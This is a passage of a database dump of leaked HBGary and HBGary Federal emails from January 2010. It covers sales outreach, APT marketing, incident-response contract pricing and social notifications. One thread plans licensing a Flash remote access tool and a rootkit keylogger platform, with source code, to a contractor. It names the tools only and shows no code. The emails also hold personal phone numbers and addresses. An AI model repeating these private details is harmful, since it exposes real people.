\r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for sending Phil.&nbsp; This is great stuff and right in\r\nline with our messaging and solutions. &nbsp;We should share this with all customers\r\nand prospects.&nbsp; There is a pdf linked to the article on China&#8217;s\r\nCyber war capabilities I highly recommend you download it and read it.\r\n\r\n&nbsp;\r\n\r\nRich\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Phil Wallisch\r\n[mailto:phil@hbgary.com] \r\nSent: Wednesday, January 13, 2010 5:53 AM\r\nTo: all@hbgary.com\r\nSubject: Google and China\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAll,\r\n\r\nIf you have not read about the drama with Google and China see this post:&nbsp;\r\nhttp://googleblog.blogspot.com/2010/01/new-approach-to-china.html\r\n\r\nI have some friends involved with this case and it is the Advanced Persistent\r\nThreat (APT) at work there.&nbsp; If Google pulls out of China, APT\r\nincreasingly will be in the mainstream news.&nbsp; \r\n\r\nIf you have a strong relationship with a large corporation that is willing to\r\nshare APT samples please let me know.&nbsp; I believe we need to market the\r\nhell out of this once we have some sanitized data to share with the\r\nworld.&nbsp; The QIRA consultants are making a killing on this type of work\r\nright now.&nbsp; \r\n\r\n--Phil\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13079,'aaron_hbgary_com/13079.html'),(1097,'2010-01-13','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000227.M641069P3547Q1098.eml','\"Aaron Barr\" <aaron@hbgary.com>','NG','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nDid you meet with Mr. Bammer this morning?&nbsp; How did it go?\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13912,'aaron_hbgary_com/13912.html'),(1098,'2010-01-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000227.M72741P3547Q1096.eml','Dennis.macallam@ngc.com','Malware Analysis','Hey Dennis,\r\n\r\nI just got off the phone with Dr. Brammer and he suggested I give you a call to discuss HBGary\'s products.  Let me know when you have some time.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3840,'aaron_hbgary_com/3840.html'),(1099,'2010-01-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000227.M847776P3547Q1099.eml','dennis.mccallam@ngc.com','Discussion','Hey Dennis,\r\n\r\nI talked with Dr. Brammer this morning about some of the products my\r\nnew company builds and sells.  He suggested I speak with you.\r\n\r\nLet me know if you have some time next week to get together.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n From my iPhone\r\n',11791,'aaron_hbgary_com/11791.html'),(1100,'2010-01-13','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000228.M191164P3547Q1101.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: NG','Aaron,\r\n\r\nCool.  I\'m looking at this NG opportunity as being one where HBG Fed resells\r\nit and will earn a reseller margin.  Please use me as a resource to take it\r\nto the finish line.\r\n\r\nBTW, looks like we\'ve figured out sales territories as it relates to the\r\nfederal gov\'t.  Matt has DoD.  Maria has civilian agencies.  I have intel\r\nand the gov\'t contractors.  Intel includes NSA, CIA, DIA, NGA, NRO, Cyber\r\nCounterintelligence, and a few others.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, January 13, 2010 3:00 PM\r\nTo: Bob Slapnik\r\nSubject: Re: NG\r\n\r\nGood.  He recommended I talk to Dennis Mccallam, who is his\r\ncybersecurity lead.  I already reached out.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jan 13, 2010, at 11:47 AM, \"Bob Slapnik\"  wrote:\r\n\r\n> Aaron,\r\n>\r\n>\r\n>\r\n> Did you meet with Mr. Bammer this morning?  How did it go?\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n\r\n',5978,'aaron_hbgary_com/5978.html'),(1101,'2010-01-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000228.M19139P3547Q1100.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: NG','Good.  He recommended I talk to Dennis Mccallam, who is his\r\ncybersecurity lead.  I already reached out.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jan 13, 2010, at 11:47 AM, \"Bob Slapnik\"  wrote:\r\n\r\n> Aaron,\r\n>\r\n>\r\n>\r\n> Did you meet with Mr. Bammer this morning?  How did it go?\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n',15304,'aaron_hbgary_com/15304.html'),(1102,'2010-01-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000228.M503154P3547Q1102.eml','\"Greg Hoglund\" <greg@hbgary.com>','Risk vs. Threat','Hey Greg,\r\n\r\nOn the government side I rarely hear about risk as a primary\r\nmotivator.  The key goals are countering or being proactive against\r\nthe threat, the advanced threat for the purposes of mission\r\nassurance.  It\'s not about defense but mission assurance.\r\n\r\nKaren resent me the draft press release we are working on and changed\r\nthreat to risk intelligence.  I am a little leary about using risk but\r\nwant to talk to you first before I have her change it back.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',6550,'aaron_hbgary_com/6550.html'),(1103,'2010-01-13','jim@hbgary.com','/aaron@hbgary.com/new/1297000228.M679335P3547Q1103.eml','aaron@hbgary.com','jim@hbgary.com has shared a calendar with you','Hello aaron@hbgary.com, We are writing to let you know that jim@hbgary.com has given you access to view events on the Google Calendar called \"HBGary Training Events\". We have automatically added this calendar to your Google Calendar account. You can hide or completely remove this calendar at any time.  - The Google Calendar Team  View Your Calendar .',16336,'aaron_hbgary_com/16336.html'),(1104,'2010-01-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000228.M858956P3547Q1104.eml','rj.shows@ngc.com','Coffee','Hi Bob,\r\n\r\nYou mentioned wanting to grab a ci of coffee and talk cyber.  Let me\r\nknow if you still want to get together.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',3564,'aaron_hbgary_com/3564.html'),(1105,'2010-01-13','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','/aaron@hbgary.com/new/1297000229.M266154P3547Q1106.eml','aaron@hbgary.com','Re: Coffee','\r\n\r\n\r\n\r\n\r\nRe: Coffee\r\n\r\n\r\n\r\n\r\nLet\'s meet near the Latte bar after the Cyber Panel?\r\n-----------------------\r\nSent via Blackberry\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Shows, Bob (IS)\r\nSent: Wed Jan 13 16:25:30 2010\r\nSubject: Coffee\r\n\r\nHi Bob,\r\n\r\nYou mentioned wanting to grab a ci of coffee and talk cyber.&nbsp; Let me\r\nknow if you still want to get together.\r\n\r\nAaron\r\n\r\n&nbsp;From my iPhone\r\n\r\n\r\n\r\n\r\n',13454,'aaron_hbgary_com/13454.html'),(1106,'2010-01-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000229.M470599P3547Q1107.eml','matt@hbgary.com','Gen. Lord','Hey Matt,\r\n\r\nDo you have a target for getting in front of Gen. Lord?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',10891,'aaron_hbgary_com/10891.html'),(1107,'2010-01-13','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297000229.M59232P3547Q1105.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Lunch','Begin forwarded message:From: \"Williams, Joy T (IS)\" &lt;JOY.WILLIAMS@ngc.com&gt;Date: January 13, 2010 3:47:35 PM MSTTo: Ted Vera &lt;ted@hbgary.com&gt;, Ted Vera &lt;tedvera@me.com&gt;Subject: Lunch\r\n\r\n\r\n\r\nMade\r\nreservation at \r\n\r\nBlack\r\nBear Diner\r\n\r\n975\r\nNorth Academy Boulevard, Colorado Springs, CO\r\n\r\nFor\r\n1130 tomorrow \r\n\r\n&nbsp;\r\n\r\nJoy T Williams \r\n\r\nNorthrop\r\nGrumman Information Systems\r\n\r\nNetCentric\r\nInformation Operations\r\n\r\nDepartment\r\nAdministrator\r\n\r\n1795\r\nJet Wing Drive, Suite 200\r\n\r\nColorado\r\nSprings, CO 80916\r\n\r\n719-622-5500\r\n\r\nFax:719-622-5101\r\n\r\nEfax:\r\n978-684-3865\r\n\r\nEmail:\r\njoy.williams@ngc.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8348,'aaron_hbgary_com/8348.html'),(1108,'2010-01-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000229.M655038P3547Q1108.eml','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','Re: Coffee','Sounds good.From my iPhoneOn Jan 13, 2010, at 3:59 PM, &quot;Shows, Bob (IS)&quot; &lt;rj.shows@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nLet&#39;s meet near the Latte bar after the Cyber Panel?\r\n-----------------------\r\nSent via Blackberry\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Shows, Bob (IS)\r\nSent: Wed Jan 13 16:25:30 2010\r\nSubject: Coffee\r\n\r\nHi Bob,\r\n\r\nYou mentioned wanting to grab a ci of coffee and talk cyber.  Let me\r\nknow if you still want to get together.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\n\r\n\r\n\r\n\r\n',72,'aaron_hbgary_com/72.html'),(1109,'2010-01-13','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','/aaron@hbgary.com/new/1297000229.M931337P3547Q1109.eml','aaron@hbgary.com','Re: Coffee','\r\nI\'m back by the Espresso Bar if you\'re available now.  I have a dinner engagement at 5:30 PM-----------------------Sent via Blackberry\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Shows, Bob (IS)Sent: Wed Jan 13 17:07:25 2010Subject: Re: Coffee\r\nSounds good.From my iPhoneOn Jan 13, 2010, at 3:59 PM, &quot;Shows, Bob (IS)&quot; &lt;rj.shows@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nLet&#39;s meet near the Latte bar after the Cyber Panel?\r\n-----------------------\r\nSent via Blackberry\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Shows, Bob (IS)\r\nSent: Wed Jan 13 16:25:30 2010\r\nSubject: Coffee\r\n\r\nHi Bob,\r\n\r\nYou mentioned wanting to grab a ci of coffee and talk cyber.  Let me\r\nknow if you still want to get together.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\n\r\n\r\n\r\n\r\n',14834,'aaron_hbgary_com/14834.html'),(1110,'2010-01-14','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000230.M125252P3547Q1110.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Risk vs. Threat','Lets talk tommorow, - also we need to get your website up and running, so we need the marketing message you guys want to potray for federal.  It might make sense for you to keep &quot;threat&quot; since you are targeting the gov. primarily. You know your customer best.\r\n\r\n \r\n-Greg\r\nOn Wed, Jan 13, 2010 at 1:52 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHey Greg,On the government side I rarely hear about risk as a primarymotivator.  The key goals are countering or being proactive against\r\nthe threat, the advanced threat for the purposes of missionassurance.  It&#39;s not about defense but mission assurance.Karen resent me the draft press release we are working on and changedthreat to risk intelligence.  I am a little leary about using risk but\r\nwant to talk to you first before I have her change it back.Aaron From my iPhone\r\n',1125,'aaron_hbgary_com/1125.html'),(1111,'2010-01-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000230.M466672P3547Q1111.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Risk vs. Threat','Begin forwarded message:From: Greg Hoglund &lt;greg@hbgary.com&gt;Date: January 13, 2010 6:05:23 PM MSTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Risk vs. ThreatLets talk tommorow, - also we need to get your website up and running, so we need the marketing message you guys want to potray for federal.&nbsp; It might make sense for you to keep \"threat\" since you are targeting the gov. primarily. You know your customer best.\r\n\r\n&nbsp;\r\n-Greg\r\nOn Wed, Jan 13, 2010 at 1:52 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHey Greg,On the government side I rarely hear about risk as a primarymotivator. &nbsp;The key goals are countering or being proactive against\r\nthe threat, the advanced threat for the purposes of missionassurance. &nbsp;It\'s not about defense but mission assurance.Karen resent me the draft press release we are working on and changedthreat to risk intelligence. &nbsp;I am a little leary about using risk but\r\nwant to talk to you first before I have her change it back.Aaron&nbsp;From my iPhone\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2741,'aaron_hbgary_com/2741.html'),(1112,'2010-01-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000230.M675277P3547Q1112.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Work','Hey,\r\n\r\nSo it was Col. Thomas French from Space Commands Intelligence Directorate that was talking about Cyber based influence operations.  I talked to him briefly about who to talk to about that and he said the A3.  Now which A3?  I would guess under the 24th AF or under AFISR.  Ted and I had talked to the AFISR folks when they used to be AIA and they were looking in to full spectrum IO but were just in the planning stages at the time.\r\n\r\nI would think SOCOM would be a good group to talk to as well.\r\n\r\nMan if we can keep some of that team together.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15326,'aaron_hbgary_com/15326.html'),(1113,'2010-01-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000230.M854180P3547Q1113.eml','\"Matt O\'Flynn\" <matt@hbgary.com>','Whats ur plan tonight','I am finishing up some work.  I don\'t have any plans.  Whats going on there?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7656,'aaron_hbgary_com/7656.html'),(1114,'2010-01-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000231.M298501P3547Q1115.eml','\"Ted Vera\" <ted@hbgary.com>','Contract Terms Template','http://smallbusiness.findlaw.com/business-forms-contracts/business-forms-contracts-overview-terms.html\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16793,'aaron_hbgary_com/16793.html'),(1115,'2010-01-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000231.M49973P3547Q1114.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: Services contract for commercial IR services','Working on this with Ted. &nbsp;The piece that we need to work on the most is the contract terms.AaronOn Jan 12, 2010, at 9:05 PM, Maria Lucas wrote:Hi Aaron\r\n&nbsp;\r\nPenny said that you will be providing services for IR to commercial clients until we can get our partners on board.\r\n&nbsp;\r\nI told e*Trade I would have something for them in January.\r\n&nbsp;\r\nWhat they want is a contract terms and pricing for budget purposes in the event that they need additional bodies for IR.\r\n&nbsp;\r\nThey want same day response, 24 hours and 3 days with rates for tiers of IR support.&nbsp; I would also suggest discounted rates for Pre-paid services.\r\n&nbsp;\r\nCan you estimate when this can be available?\r\n&nbsp;\r\nThanks!\r\nMaria-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971Website: &nbsp;www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13266,'aaron_hbgary_com/13266.html'),(1116,'2010-01-14','\"Ted Vera\" <tedvera@mac.com>','/aaron@hbgary.com/new/1297000231.M515847P3547Q1116.eml','\"Aaron Barr\" <aaron@hbgary.com>','svc levels','550 Silver\r\n752 Gold +35%\r\n849 Gold + 7x24 +55%\r\n1006 Platinum +83% \r\n',641,'aaron_hbgary_com/641.html'),(1117,'2010-01-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000231.M690051P3547Q1117.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Contract Terms','Penny/Bob,\r\n\r\nDo you have an existing contract terms document you have used for incident response in the past?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13987,'aaron_hbgary_com/13987.html'),(1118,'2010-01-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000231.M905544P3547Q1118.eml','\"Eric Hallam\" <eric@dreamseedbooks.com>','Re: Can you endorse me?','Hey Eric,Sorry its been a bit busy. &nbsp;Did you still want to get together? &nbsp;I know we are having a lunch with some folks from the office tomorrow. &nbsp;I am here through tomorrow.AaronOn Jan 8, 2010, at 7:28 AM, Eric Hallam wrote:\r\n\r\n\r\n  \r\n\r\n  LinkedIn RecommendationsEric Hallam is requesting an endorsement for work\r\n     Dear Aaron, \r\nAaron, I am trying to get my profile 100% complete. In order to do so I need to have another recommendation. I\'m sending this to ask you for a brief recommendation of my work that I can include in my LinkedIn profile. If you have any questions, let me know.\r\n\r\nThanks in advance for helping me out.\r\n\r\n-Eric Hallam\r\n  \r\n  \r\n\r\n      \r\n      \r\n        Endorse Eric Hallam.\r\n        It only takes a minute\r\n      \r\n      Your endorsement can help Eric Hallam:\r\n      \r\n        Hire and get hired\r\n        Win customers and partnerships\r\n        Build a stronger professional reputation\r\n      \r\n  This email was sent to you by Eric Hallam (eric@dreamseedbooks.com) through LinkedIn because Eric Hallam entered your email address. If you have any questions, please contact customer_service@linkedin.com.\r\n\r\n\r\n© 2009, LinkedIn Corporation\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9064,'aaron_hbgary_com/9064.html'),(1119,'2010-01-14','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000232.M306253P3547Q1120.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Contract Terms','Aaron,\r\n\r\nI don\'t.  We\'ve done only a few IR contracts in the past.  Penny probably\r\nhas something.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, January 13, 2010 9:42 PM\r\nTo: Penny Leavy\r\nCc: Bob Slapnik\r\nSubject: Contract Terms\r\n\r\nPenny/Bob,\r\n\r\nDo you have an existing contract terms document you have used for incident\r\nresponse in the past?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4055,'aaron_hbgary_com/4055.html'),(1120,'2010-01-14','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000232.M539753P3547Q1121.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Need agreement(s) between HBGary, HBGary Fed and Xetron','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny and Aaron,\r\n\r\n&nbsp;\r\n\r\nAaron wants to provide Xetron with some JF code to be used\r\nfor demonstrations to their end customers.&nbsp; Those demonstrations could\r\nlead to JF sales or ongoing services work.&nbsp; There is significant revenue\r\npotential doing testing of JF code acquired elsewhere or adding features for\r\nmission specific uses.\r\n\r\n&nbsp;\r\n\r\nWe need to execute either one tri-party agreement or two\r\nseparate agreements HBG &amp; HBGFed and HBGFed &amp; Xetron.&nbsp; Below are\r\nsome points to cover in the agreement(s).\r\n\r\n&nbsp;\r\n\r\nIdentification of the HBGary IP.&nbsp; Here are the items we\r\nare planning to furnish Xetron.&nbsp; Another item could be added, but no other\r\nitems have been identified yet.\r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAdobe Macromedia Flash Player Remote Access Tool\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHBGary Rootkit Keylogger Platform\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSoftware Integration Toolkit Module\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThis includes both object and source code and\r\ndocumentation\r\n\r\n&nbsp;\r\n\r\nAgreement(s) need to state the following:\r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThe IP is owned by HBGary and HBGary will retain\r\nownership.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHBGary Federal are Xetron are restricted as to\r\nwhat they can do with the code.&nbsp; \r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHBGary Federal and Xetron can perform the\r\nfollowing:\r\n\r\no&nbsp;&nbsp;\r\nTest the code to verify how it works\r\n\r\no&nbsp;&nbsp;\r\nMake minor revisions to the source code and\r\nrecompile it\r\n\r\no&nbsp;&nbsp;\r\nDemonstrate it to their end customers\r\n\r\no&nbsp;&nbsp;\r\nCan give the end customer high level marketing\r\ndocuments that describe the value to the tools without disclosing anything\r\nabout the underlying technologies (the &#8220;secret sauce&#8221;).\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHBGary Federal and Xetron may not do the\r\nfollowing:\r\n\r\no&nbsp;&nbsp;\r\nMay not give any portion of the IP to any other\r\nparty\r\n\r\no&nbsp;&nbsp;\r\nMay not sell the IP or software licenses without\r\nfull disclosure and consent from HBGary\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHBGary and Xetron will limit the number of\r\npeople who learn of the existence of these tools to only those with &#8220;a\r\nneed to know&#8221;.\r\n\r\n&nbsp;\r\n\r\nI&#8217;m sure the two of you will add clauses that I haven&#8217;t\r\nthought of.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9336,'aaron_hbgary_com/9336.html'),(1121,'2010-01-14','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000232.M733505P3547Q1122.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: Need agreement(s) between HBGary, HBGary Fed and Xetron','This is a red flag if HBgary gets audited, why are we providing source\r\ncode to demo software?  Source code is generally a paid for piece of\r\nsoftware, which we can provide if they sell the JF.  I thought this\r\nwas a working system?\r\n\r\nOn Thu, Jan 14, 2010 at 6:56 AM, Bob Slapnik  wrote:\r\n> Penny and Aaron,\r\n>\r\n>\r\n>\r\n> Aaron wants to provide Xetron with some JF code to be used for\r\n> demonstrations to their end customers.  Those demonstrations could lead to\r\n> JF sales or ongoing services work.  There is significant revenue potential\r\n> doing testing of JF code acquired elsewhere or adding features for mission\r\n> specific uses.\r\n>\r\n>\r\n>\r\n> We need to execute either one tri-party agreement or two separate agreements\r\n> HBG & HBGFed and HBGFed & Xetron.  Below are some points to cover in the\r\n> agreement(s).\r\n>\r\n>\r\n>\r\n> Identification of the HBGary IP.  Here are the items we are planning to\r\n> furnish Xetron.  Another item could be added, but no other items have been\r\n> identified yet.\r\n>\r\n>\r\n>\r\n> ·         Adobe Macromedia Flash Player Remote Access Tool\r\n>\r\n> ·         HBGary Rootkit Keylogger Platform\r\n>\r\n> ·         Software Integration Toolkit Module\r\n>\r\n> ·         This includes both object and source code and documentation\r\n>\r\n>\r\n>\r\n> Agreement(s) need to state the following:\r\n>\r\n>\r\n>\r\n> ·         The IP is owned by HBGary and HBGary will retain ownership.\r\n>\r\n> ·         HBGary Federal are Xetron are restricted as to what they can do\r\n> with the code.\r\n>\r\n> ·         HBGary Federal and Xetron can perform the following:\r\n>\r\n> o   Test the code to verify how it works\r\n>\r\n> o   Make minor revisions to the source code and recompile it\r\n>\r\n> o   Demonstrate it to their end customers\r\n>\r\n> o   Can give the end customer high level marketing documents that describe\r\n> the value to the tools without disclosing anything about the underlying\r\n> technologies (the “secret sauce”).\r\n>\r\n> ·         HBGary Federal and Xetron may not do the following:\r\n>\r\n> o   May not give any portion of the IP to any other party\r\n>\r\n> o   May not sell the IP or software licenses without full disclosure and\r\n> consent from HBGary\r\n>\r\n> ·         HBGary and Xetron will limit the number of people who learn of the\r\n> existence of these tools to only those with “a need to know”.\r\n>\r\n>\r\n>\r\n> I’m sure the two of you will add clauses that I haven’t thought of.\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',4822,'aaron_hbgary_com/4822.html'),(1122,'2010-01-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000232.M79996P3547Q1119.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>,\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Press Release','Thanks Matt.\r\n\r\nWe are still working on this but it should give you enough information.\r\n\r\nAaron\r\n\r\n\r\nOn Jan 12, 2010, at 4:54 PM, Matthew Steckman wrote:\r\n\r\n> Aaron,\r\n>  \r\n> Id like to introduce you to Lisa Gordon, Palantir’s PR consultant.  She rocks. \r\n>  \r\n> Can you forward her your current draft press release?  She will insert a quote where appropriate and send back.\r\n>  \r\n> Thanks,\r\n> Matt\r\n>  \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7251,'aaron_hbgary_com/7251.html'),(1123,'2010-01-14','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1297000232.M926160P3547Q1123.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 1/14/2010','\r\n\r\n  \r\n\r\n\r\n  \r\n    LinkedIn Network Updates\r\n    Jan 7 - Jan 14\r\n  \r\n  \r\n    FEATURED UPDATES\r\n    See more updates &#187;\r\n  \r\n  \r\n    \r\n\r\n    \r\n    PROFILE\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n                    Michael Toth has updated their current title to Technology Consultant at The Walters Art Museum\r\n                  Send congratulations &#187;\r\n            \r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                        Michelle Magnetti is now Technical Recruiter at TASC, Inc.\r\n                  Send congratulations &#187;\r\n            \r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                    Leland Vulcan has updated their current title to TASC Capture support at TASC Inc\r\n                  Send congratulations &#187;\r\n            \r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    CONNECTIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  angela fugate\r\nis now connected to\r\n            Shawn Richards\r\n,             Greg Wolfe\r\n             and \r\n            Mark Trynor\r\n             \r\n\r\n              \r\n            \r\n            \r\n              \r\n\r\n  George Hull\r\n    is now connected to\r\n        Pablo Teodoro\r\n\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Jeff Kubik, PMP, CISSP\r\nis now connected to\r\n            Franck Otello\r\n,             Bob Tishman\r\n             and \r\n            Chuck Brooks\r\n             \r\n\r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    STATUS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Michael Toth\r\n      Durn! Just had to cancel early afternoon lunch at wonderful 2941 on 13 Jan: Table open if you\'ve been trying to get one this Restaurant Week\r\n  Add a comment &#187;\r\n  \r\n\r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    GROUPS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    Jeff McCartney has joined\r\n    Serious Games Group\r\n\r\n              \r\n            \r\n            \r\n              \r\n\r\n    George Hull has joined\r\n    The Executive Club\r\n\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Kevin Halemartin has joined 3 groups, including\r\n      \r\n      Career Change Central\r\n      and\r\n      Diversity Recruiting Strategy Group\r\n\r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    RECOMMENDATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    Eric Hallam recommends\r\ncolleague      Olga Knobel\r\n          Program Control Analyst at northrop Grumman\r\n        Olga started at Northrop Grumman less than a month after we had 3 of our 4 Program Control Analysts ...\r\n        Read more\r\n\r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n    \r\n  \r\n  \r\n      \r\n      See more updates &#187;\r\n    \r\n  \r\n  \r\n    \r\n\r\n\r\n  \r\n    \r\n      \r\n      \r\n      Don\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn 